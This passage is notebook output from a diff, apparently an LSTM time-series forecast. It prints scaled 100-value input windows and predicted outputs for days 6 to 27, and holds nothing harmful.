0.19190892\n", + " 0.18987599 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832\n", + " 0.20349665 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766\n", + " 0.21589754 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923\n", + " 0.16751372 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426\n", + " 0.16853019 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959\n", + " 0.17767839 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012\n", + " 0.17015654 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049\n", + " 0.15064037 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553\n", + " 0.12827811 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469\n", + " 0.13295385 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439\n", + " 0.15104696 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732\n", + " 0.15531612 0.15917869 0.15938199 0.16344786 0.16536452 0.16787291\n", + " 0.17017089 0.17237605 0.17453894 0.17667189]\n", + "6 day output [[0.17877619]]\n", + "7 day input [0.12644847 0.12685505 0.12482212 0.14515145 0.1467778 0.15003049\n", + " 0.15368977 0.17198618 0.16548079 0.17625534 0.17564546 0.19129904\n", + " 0.20817239 0.20309006 0.18479366 0.17930474 0.1896727 0.17483228\n", + " 0.17849156 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599\n", + " 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665\n", + " 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754\n", + " 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372\n", + " 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019\n", + " 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839\n", + " 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654\n", + " 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037\n", + " 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811\n", + " 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385\n", + " 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696\n", + " 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612\n", + " 0.15917869 0.15938199 0.16344786 0.16536452 0.16787291 0.17017089\n", + " 0.17237605 0.17453894 0.17667189 0.17877619]\n", + "7 day output [[0.180852]]\n", + "8 day input [0.12685505 0.12482212 0.14515145 0.1467778 0.15003049 0.15368977\n", + " 0.17198618 0.16548079 0.17625534 0.17564546 0.19129904 0.20817239\n", + " 0.20309006 0.18479366 0.17930474 0.1896727 0.17483228 0.17849156\n", + " 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258\n", + " 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479\n", + " 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083\n", + " 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281\n", + " 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079\n", + " 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036\n", + " 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372\n", + " 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744\n", + " 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062\n", + " 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481\n", + " 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145\n", + " 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869\n", + " 0.15938199 0.16344786 0.16536452 0.16787291 0.17017089 0.17237605\n", + " 0.17453894 0.17667189 0.17877619 0.180852 ]\n", + "8 day output [[0.1828999]]\n", + "9 day input [0.12482212 0.14515145 0.1467778 0.15003049 0.15368977 0.17198618\n", + " 0.16548079 0.17625534 0.17564546 0.19129904 0.20817239 0.20309006\n", + " 0.18479366 0.17930474 0.1896727 0.17483228 0.17849156 0.17645863\n", + " 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186\n", + " 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838\n", + " 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526\n", + " 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312\n", + " 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224\n", + " 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988\n", + " 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995\n", + " 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744 0.14596463\n", + " 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966\n", + " 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517\n", + " 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852\n", + " 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199\n", + " 0.16344786 0.16536452 0.16787291 0.17017089 0.17237605 0.17453894\n", + " 0.17667189 0.17877619 0.180852 0.18289991]\n", + "9 day output [[0.18492067]]\n", + "10 day input [0.14515145 0.1467778 0.15003049 0.15368977 0.17198618 0.16548079\n", + " 0.17625534 0.17564546 0.19129904 0.20817239 0.20309006 0.18479366\n", + " 0.17930474 0.1896727 0.17483228 0.17849156 0.17645863 0.18540354\n", + " 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186 0.20004066\n", + " 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838 0.22036999\n", + " 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526 0.19150234\n", + " 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312 0.17462899\n", + " 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224 0.1713763\n", + " 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988 0.18987599\n", + " 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995 0.16609067\n", + " 0.15531612 0.15003049 0.15064037 0.14860744 0.14596463 0.15043708\n", + " 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966 0.13478349\n", + " 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517 0.13051433\n", + " 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852 0.15816223\n", + " 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199 0.16344786\n", + " 0.16536452 0.16787291 0.17017089 0.17237605 0.17453894 0.17667189\n", + " 0.17877619 0.180852 0.18289991 0.18492067]\n", + "10 day output [[0.18691507]]\n", + "11 day input [0.1467778 0.15003049 0.15368977 0.17198618 0.16548079 0.17625534\n", + " 0.17564546 0.19129904 0.20817239 0.20309006 0.18479366 0.17930474\n", + " 0.1896727 0.17483228 0.17849156 0.17645863 0.18540354 0.18377719\n", + " 0.19190892 0.18987599 0.19028258 0.19394186 0.20004066 0.19638138\n", + " 0.19495832 0.20349665 0.19597479 0.21162838 0.22036999 0.20979874\n", + " 0.21528766 0.21589754 0.21610083 0.22748526 0.19150234 0.1833706\n", + " 0.17340923 0.16751372 0.1622281 0.17056312 0.17462899 0.17930474\n", + " 0.18174426 0.16853019 0.16548079 0.1742224 0.1713763 0.17300264\n", + " 0.17157959 0.17767839 0.18459036 0.18702988 0.18987599 0.19109575\n", + " 0.18581012 0.17015654 0.16751372 0.16974995 0.16609067 0.15531612\n", + " 0.15003049 0.15064037 0.14860744 0.14596463 0.15043708 0.14413499\n", + " 0.12441553 0.12827811 0.11547062 0.12034966 0.13478349 0.13498679\n", + " 0.12868469 0.13295385 0.12807481 0.12624517 0.13051433 0.13905265\n", + " 0.14718439 0.15104696 0.14515145 0.14311852 0.15816223 0.15328319\n", + " 0.14921732 0.15531612 0.15917869 0.15938199 0.16344786 0.16536452\n", + " 0.16787291 0.17017089 0.17237605 0.17453894 0.17667189 0.17877619\n", + " 0.180852 0.18289991 0.18492067 0.18691507]\n", + "11 day output [[0.18888383]]\n", + "12 day input [0.15003049 0.15368977 0.17198618 0.16548079 0.17625534 0.17564546\n", + " 0.19129904 0.20817239 0.20309006 0.18479366 0.17930474 0.1896727\n", + " 0.17483228 0.17849156 0.17645863 0.18540354 0.18377719 0.19190892\n", + " 0.18987599 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832\n", + " 0.20349665 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766\n", + " 0.21589754 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923\n", + " 0.16751372 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426\n", + " 0.16853019 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959\n", + " 0.17767839 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012\n", + " 0.17015654 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049\n", + " 0.15064037 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553\n", + " 0.12827811 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469\n", + " 0.13295385 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439\n", + " 0.15104696 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732\n", + " 0.15531612 0.15917869 0.15938199 0.16344786 0.16536452 0.16787291\n", + " 0.17017089 0.17237605 0.17453894 0.17667189 0.17877619 0.180852\n", + " 0.18289991 0.18492067 0.18691507 0.18888383]\n", + "12 day output [[0.19082795]]\n", + "13 day input [0.15368977 0.17198618 0.16548079 0.17625534 0.17564546 0.19129904\n", + " 0.20817239 0.20309006 0.18479366 0.17930474 0.1896727 0.17483228\n", + " 0.17849156 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599\n", + " 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665\n", + " 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754\n", + " 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372\n", + " 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019\n", + " 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839\n", + " 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654\n", + " 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037\n", + " 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811\n", + " 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385\n", + " 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696\n", + " 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612\n", + " 0.15917869 0.15938199 0.16344786 0.16536452 0.16787291 0.17017089\n", + " 0.17237605 0.17453894 0.17667189 0.17877619 0.180852 0.18289991\n", + " 0.18492067 0.18691507 0.18888383 0.19082795]\n", + "13 day output [[0.19274837]]\n", + "14 day input [0.17198618 0.16548079 0.17625534 0.17564546 0.19129904 0.20817239\n", + " 0.20309006 0.18479366 0.17930474 0.1896727 0.17483228 0.17849156\n", + " 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258\n", + " 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479\n", + " 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083\n", + " 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281\n", + " 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079\n", + " 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036\n", + " 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372\n", + " 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744\n", + " 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062\n", + " 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481\n", + " 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145\n", + " 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869\n", + " 0.15938199 0.16344786 0.16536452 0.16787291 0.17017089 0.17237605\n", + " 0.17453894 0.17667189 0.17877619 0.180852 0.18289991 0.18492067\n", + " 0.18691507 0.18888383 0.19082795 0.19274837]\n", + "14 day output [[0.19464624]]\n", + "15 day input [0.16548079 0.17625534 0.17564546 0.19129904 0.20817239 0.20309006\n", + " 0.18479366 0.17930474 0.1896727 0.17483228 0.17849156 0.17645863\n", + " 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186\n", + " 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838\n", + " 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526\n", + " 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312\n", + " 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224\n", + " 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988\n", + " 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995\n", + " 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744 0.14596463\n", + " 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966\n", + " 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517\n", + " 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852\n", + " 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199\n", + " 0.16344786 0.16536452 0.16787291 0.17017089 0.17237605 0.17453894\n", + " 0.17667189 0.17877619 0.180852 0.18289991 0.18492067 0.18691507\n", + " 0.18888383 0.19082795 0.19274837 0.19464624]\n", + "15 day output [[0.19652267]]\n", + "16 day input [0.17625534 0.17564546 0.19129904 0.20817239 0.20309006 0.18479366\n", + " 0.17930474 0.1896727 0.17483228 0.17849156 0.17645863 0.18540354\n", + " 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186 0.20004066\n", + " 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838 0.22036999\n", + " 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526 0.19150234\n", + " 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312 0.17462899\n", + " 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224 0.1713763\n", + " 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988 0.18987599\n", + " 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995 0.16609067\n", + " 0.15531612 0.15003049 0.15064037 0.14860744 0.14596463 0.15043708\n", + " 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966 0.13478349\n", + " 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517 0.13051433\n", + " 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852 0.15816223\n", + " 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199 0.16344786\n", + " 0.16536452 0.16787291 0.17017089 0.17237605 0.17453894 0.17667189\n", + " 0.17877619 0.180852 0.18289991 0.18492067 0.18691507 0.18888383\n", + " 0.19082795 0.19274837 0.19464624 0.19652267]\n", + "16 day output [[0.1983788]]\n", + "17 day input [0.17564546 0.19129904 0.20817239 0.20309006 0.18479366 0.17930474\n", + " 0.1896727 0.17483228 0.17849156 0.17645863 0.18540354 0.18377719\n", + " 0.19190892 0.18987599 0.19028258 0.19394186 0.20004066 0.19638138\n", + " 0.19495832 0.20349665 0.19597479 0.21162838 0.22036999 0.20979874\n", + " 0.21528766 0.21589754 0.21610083 0.22748526 0.19150234 0.1833706\n", + " 0.17340923 0.16751372 0.1622281 0.17056312 0.17462899 0.17930474\n", + " 0.18174426 0.16853019 0.16548079 0.1742224 0.1713763 0.17300264\n", + " 0.17157959 0.17767839 0.18459036 0.18702988 0.18987599 0.19109575\n", + " 0.18581012 0.17015654 0.16751372 0.16974995 0.16609067 0.15531612\n", + " 0.15003049 0.15064037 0.14860744 0.14596463 0.15043708 0.14413499\n", + " 0.12441553 0.12827811 0.11547062 0.12034966 0.13478349 0.13498679\n", + " 0.12868469 0.13295385 0.12807481 0.12624517 0.13051433 0.13905265\n", + " 0.14718439 0.15104696 0.14515145 0.14311852 0.15816223 0.15328319\n", + " 0.14921732 0.15531612 0.15917869 0.15938199 0.16344786 0.16536452\n", + " 0.16787291 0.17017089 0.17237605 0.17453894 0.17667189 0.17877619\n", + " 0.180852 0.18289991 0.18492067 0.18691507 0.18888383 0.19082795\n", + " 0.19274837 0.19464624 0.19652267 0.1983788 ]\n", + "17 day output [[0.20021565]]\n", + "18 day input [0.19129904 0.20817239 0.20309006 0.18479366 0.17930474 0.1896727\n", + " 0.17483228 0.17849156 0.17645863 0.18540354 0.18377719 0.19190892\n", + " 0.18987599 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832\n", + " 0.20349665 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766\n", + " 0.21589754 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923\n", + " 0.16751372 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426\n", + " 0.16853019 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959\n", + " 0.17767839 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012\n", + " 0.17015654 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049\n", + " 0.15064037 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553\n", + " 0.12827811 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469\n", + " 0.13295385 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439\n", + " 0.15104696 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732\n", + " 0.15531612 0.15917869 0.15938199 0.16344786 0.16536452 0.16787291\n", + " 0.17017089 0.17237605 0.17453894 0.17667189 0.17877619 0.180852\n", + " 0.18289991 0.18492067 0.18691507 0.18888383 0.19082795 0.19274837\n", + " 0.19464624 0.19652267 0.1983788 0.20021565]\n", + "18 day output [[0.20203416]]\n", + "19 day input [0.20817239 0.20309006 0.18479366 0.17930474 0.1896727 0.17483228\n", + " 0.17849156 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599\n", + " 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665\n", + " 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754\n", + " 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372\n", + " 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019\n", + " 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839\n", + " 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654\n", + " 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037\n", + " 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811\n", + " 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385\n", + " 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696\n", + " 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612\n", + " 0.15917869 0.15938199 0.16344786 0.16536452 0.16787291 0.17017089\n", + " 0.17237605 0.17453894 0.17667189 0.17877619 0.180852 0.18289991\n", + " 0.18492067 0.18691507 0.18888383 0.19082795 0.19274837 0.19464624\n", + " 0.19652267 0.1983788 0.20021565 0.20203416]\n", + "19 day output [[0.20383513]]\n", + "20 day input [0.20309006 0.18479366 0.17930474 0.1896727 0.17483228 0.17849156\n", + " 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258\n", + " 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479\n", + " 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083\n", + " 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281\n", + " 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079\n", + " 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036\n", + " 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372\n", + " 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744\n", + " 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062\n", + " 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481\n", + " 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145\n", + " 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869\n", + " 0.15938199 0.16344786 0.16536452 0.16787291 0.17017089 0.17237605\n", + " 0.17453894 0.17667189 0.17877619 0.180852 0.18289991 0.18492067\n", + " 0.18691507 0.18888383 0.19082795 0.19274837 0.19464624 0.19652267\n", + " 0.1983788 0.20021565 0.20203416 0.20383513]\n", + "20 day output [[0.20561932]]\n", + "21 day input [0.18479366 0.17930474 0.1896727 0.17483228 0.17849156 0.17645863\n", + " 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186\n", + " 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838\n", + " 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526\n", + " 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312\n", + " 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224\n", + " 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988\n", + " 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995\n", + " 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744 0.14596463\n", + " 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966\n", + " 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517\n", + " 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852\n", + " 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199\n", + " 0.16344786 0.16536452 0.16787291 0.17017089 0.17237605 0.17453894\n", + " 0.17667189 0.17877619 0.180852 0.18289991 0.18492067 0.18691507\n", + " 0.18888383 0.19082795 0.19274837 0.19464624 0.19652267 0.1983788\n", + " 0.20021565 0.20203416 0.20383513 0.20561932]\n", + "21 day output [[0.20738736]]\n", + "22 day input [0.17930474 0.1896727 0.17483228 0.17849156 0.17645863 0.18540354\n", + " 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186 0.20004066\n", + " 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838 0.22036999\n", + " 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526 0.19150234\n", + " 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312 0.17462899\n", + " 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224 0.1713763\n", + " 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988 0.18987599\n", + " 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995 0.16609067\n", + " 0.15531612 0.15003049 0.15064037 0.14860744 0.14596463 0.15043708\n", + " 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966 0.13478349\n", + " 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517 0.13051433\n", + " 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852 0.15816223\n", + " 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199 0.16344786\n", + " 0.16536452 0.16787291 0.17017089 0.17237605 0.17453894 0.17667189\n", + " 0.17877619 0.180852 0.18289991 0.18492067 0.18691507 0.18888383\n", + " 0.19082795 0.19274837 0.19464624 0.19652267 0.1983788 0.20021565\n", + " 0.20203416 0.20383513 0.20561932 0.20738736]\n", + "22 day output [[0.20913981]]\n", + "23 day input [0.1896727 0.17483228 0.17849156 0.17645863 0.18540354 0.18377719\n", + " 0.19190892 0.18987599 0.19028258 0.19394186 0.20004066 0.19638138\n", + " 0.19495832 0.20349665 0.19597479 0.21162838 0.22036999 0.20979874\n", + " 0.21528766 0.21589754 0.21610083 0.22748526 0.19150234 0.1833706\n", + " 0.17340923 0.16751372 0.1622281 0.17056312 0.17462899 0.17930474\n", + " 0.18174426 0.16853019 0.16548079 0.1742224 0.1713763 0.17300264\n", + " 0.17157959 0.17767839 0.18459036 0.18702988 0.18987599 0.19109575\n", + " 0.18581012 0.17015654 0.16751372 0.16974995 0.16609067 0.15531612\n", + " 0.15003049 0.15064037 0.14860744 0.14596463 0.15043708 0.14413499\n", + " 0.12441553 0.12827811 0.11547062 0.12034966 0.13478349 0.13498679\n", + " 0.12868469 0.13295385 0.12807481 0.12624517 0.13051433 0.13905265\n", + " 0.14718439 0.15104696 0.14515145 0.14311852 0.15816223 0.15328319\n", + " 0.14921732 0.15531612 0.15917869 0.15938199 0.16344786 0.16536452\n", + " 0.16787291 0.17017089 0.17237605 0.17453894 0.17667189 0.17877619\n", + " 0.180852 0.18289991 0.18492067 0.18691507 0.18888383 0.19082795\n", + " 0.19274837 0.19464624 0.19652267 0.1983788 0.20021565 0.20203416\n", + " 0.20383513 0.20561932 0.20738736 0.20913981]\n", + "23 day output [[0.2108771]]\n", + "24 day input [0.17483228 0.17849156 0.17645863 0.18540354 0.18377719 0.19190892\n", + " 0.18987599 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832\n", + " 0.20349665 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766\n", + " 0.21589754 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923\n", + " 0.16751372 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426\n", + " 0.16853019 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959\n", + " 0.17767839 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012\n", + " 0.17015654 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049\n", + " 0.15064037 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553\n", + " 0.12827811 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469\n", + " 0.13295385 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439\n", + " 0.15104696 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732\n", + " 0.15531612 0.15917869 0.15938199 0.16344786 0.16536452 0.16787291\n", + " 0.17017089 0.17237605 0.17453894 0.17667189 0.17877619 0.180852\n", + " 0.18289991 0.18492067 0.18691507 0.18888383 0.19082795 0.19274837\n", + " 0.19464624 0.19652267 0.1983788 0.20021565 0.20203416 0.20383513\n", + " 0.20561932 0.20738736 0.20913981 0.21087711]\n", + "24 day output [[0.21259975]]\n", + "25 day input [0.17849156 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599\n", + " 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665\n", + " 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754\n", + " 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372\n", + " 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019\n", + " 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839\n", + " 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654\n", + " 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037\n", + " 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811\n", + " 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385\n", + " 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696\n", + " 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612\n", + " 0.15917869 0.15938199 0.16344786 0.16536452 0.16787291 0.17017089\n", + " 0.17237605 0.17453894 0.17667189 0.17877619 0.180852 0.18289991\n", + " 0.18492067 0.18691507 0.18888383 0.19082795 0.19274837 0.19464624\n", + " 0.19652267 0.1983788 0.20021565 0.20203416 0.20383513 0.20561932\n", + " 0.20738736 0.20913981 0.21087711 0.21259975]\n", + "25 day output [[0.21430814]]\n", + "26 day input [0.17645863 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258\n", + " 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479\n", + " 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083\n", + " 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281\n", + " 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079\n", + " 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036\n", + " 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372\n", + " 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744\n", + " 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062\n", + " 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481\n", + " 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145\n", + " 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869\n", + " 0.15938199 0.16344786 0.16536452 0.16787291 0.17017089 0.17237605\n", + " 0.17453894 0.17667189 0.17877619 0.180852 0.18289991 0.18492067\n", + " 0.18691507 0.18888383 0.19082795 0.19274837 0.19464624 0.19652267\n", + " 0.1983788 0.20021565 0.20203416 0.20383513 0.20561932 0.20738736\n", + " 0.20913981 0.21087711 0.21259975 0.21430814]\n", + "26 day output [[0.2160026]]\n", + "27 day input [0.18540354 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186\n", + " 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838\n", + " 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526\n", + " 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312\n", + " 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224\n", + " 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988\n", + " 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995\n", + " 0.16609067 0.15531612 